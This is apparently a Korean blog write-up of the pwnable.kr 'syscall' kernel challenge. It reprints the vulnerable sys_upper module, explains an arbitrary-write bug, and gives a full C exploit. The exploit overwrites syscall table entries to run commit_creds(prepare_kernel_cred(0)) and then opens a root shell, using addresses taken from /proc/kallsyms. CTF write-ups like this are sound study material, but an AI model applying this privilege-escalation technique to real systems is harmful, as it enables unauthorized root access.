Profile

머리정리하는곳

c2w2m2

[pwnable.kr] syscall

후욱 원래 풀이글 올리면 안되지만 첫 커널 익스에 기쁨에 주체하지 못하고 하나만 올려봅니다...


먼저 커널익스시 주의점이 커널 익스시에는 바로 root 를 딸수 없슴당!!


고로 commit_creds(prepare_kernel_cred(0)); 요런식의 함수를 하나 갈겨주고 쉘 따주시면 되는데


요걸 어떻게 갈길건가?? 고건 sys_upper 라는 pwnable.kr 에서 준비한 커널 함수에서 발생함다



// adding a new system call : sys_upper #include <linux/module.h> #include <linux/kernel.h> #include <linux/slab.h> #include <linux/vmalloc.h> #include <linux/mm.h> #include <asm/unistd.h> #include <asm/page.h> #include <linux/syscalls.h> #define SYS_CALL_TABLE 0x8000e348 // manually configure this address!! #define NR_SYS_UNUSED 223 //Pointers to re-mapped writable pages unsigned int** sct; asmlinkage long sys_upper(char *in, char* out){ int len = strlen(in); int i; for(i=0; i<len; i++){ if(in[i]>=0x61 && in[i]<=0x7a){ out[i] = in[i] - 0x20; } else{ out[i] = in[i]; } } return 0; } static int __init initmodule(void ){ sct = (unsigned int**)SYS_CALL_TABLE; sct[NR_SYS_UNUSED] = sys_upper; printk("sys_upper(number : 223) is added\n"); return 0; } static void __exit exitmodule(void ){ return; } module_init( initmodule ); module_exit( exitmodule );



요런 모양의 함수인데 여기서 어디에 취약점이 발생하냐 하면 


out[i] = in [i] - 0x20 이나 out[i] = in[i] 에서 발생함다.


in 에 있는걸 그냥 그대로 out 에 덮어줍니다. 고로 overwrite 가 가능함다.


심지어 어디든지 무엇이든 쓸수 있습니다. 


근데  - 0x20 빼는 부분은 어떻게든 더하고 가려 했는데 영 안되서 그냥 패딩으로 때울겁니다.


자 그럼 저 syscall_upper를 이용해서 뭔가를 덮어서 commit_creds(prepare_kernel_cred(0)); 를 하고 system("/bin/sh"); 하면 될거같은데 뭘 덮을까 생각해보니 그냥 같은 커널에 있는 syscall 덮고 그 syscall 을 실행시키면 되겟네 싶어서 어디에 있나 검색좀 하고 삽질 좀 하니


/usr/include/arm-linux-gnueabihf/asm/unistd.h


요런곳에 syscall 이 다 있습니다. 여기서 눈에 익은 함수중 인자가 1개 인 함수를 골라서 번호 메모해 놓으세요!


덮을 함수가 인자 1개짜리라 인자 1개가 편하고 좋습니다. 꼭 1개로 골라주세요.


저같은 경우는 10번에 unlink 랑 13 번에 time 함수를 골랐습니다.


자 이렇게 번호 2개 고르고 commit_creds 랑 prepare_kernel_cred 함수 주소를 구해봅시다


그 전에 commit_creds 랑 prepare_kernel_cred 가 뭐하는 syscall 인지 대충 써보면


prepare_kernel_cred 같은 경우는 0을 인자로 넣으면 init_cred 라는걸 반환해주는데 이건 root 라고 보시면 됩니다.


그리고 commit_creds 가 이 init_cred 를 가지고 cred 를 재설정 해줍니다. 그러면 root 가 되겠져?


쉽게 setreuid(0,0) 과 비슷한 걸 한다고 보시면 되겠습니다.


자 이제 진짜 주소를 구해봅시다.


이런 함수들 주소는 /proc/kallsyms 이런데 몰려있습니다. 


시험삼아 cat /proc/kallsyms 하지 마세여 터집니다...


cat /proc/kallsyms | grep "commit_creds"


이랑


cat /proc/kallsyms | grep "prepare_kernel_cred" 


로 찾아 주시면 


commit_creds : 8003f56c


prepare_kernel_cred : 8003f924


가 나옵니다.


근데 저기있는 0x6c 가 0x61 보다 커서 -0x20 되니까 아까 말한대로 패딩으로 때울거고 패딩은 mov r4,r4 로 합시다


rasm2 -a arm 'mov r4, r4'


하시면 


0440a0e1


나옵니



익....스.....ㄱ




#include<stdio.h>


#include<stdlib.h>


int main(){

unsigned int** a = (unsigned int**)0x8000e348;

syscall(223,"\xe1\xa0\x40\x04\xe1\xa0\x40\x04\xe1\xa0\x40\x04", 0x8003f560); // padding

syscall(223,"\x60\xf5\x03\x80", &a[10]);

syscall(223,"\x24\xf9\x03\x80", &a[13]);

syscall(10,syscall(13,0));

system("/bin/sh");

}




개...기....모....띠.........

'Pwnable' 카테고리의 다른 글

[codegate2017] messanger  (0) 2017.12.04
[ch4n3 world] Sleepy  (0) 2017.11.22
[DIMI] scan  (0) 2017.09.26
[Protostar] heap2  (1) 2017.09.20
[CodeGate] BabyMisc  (0) 2017.09.15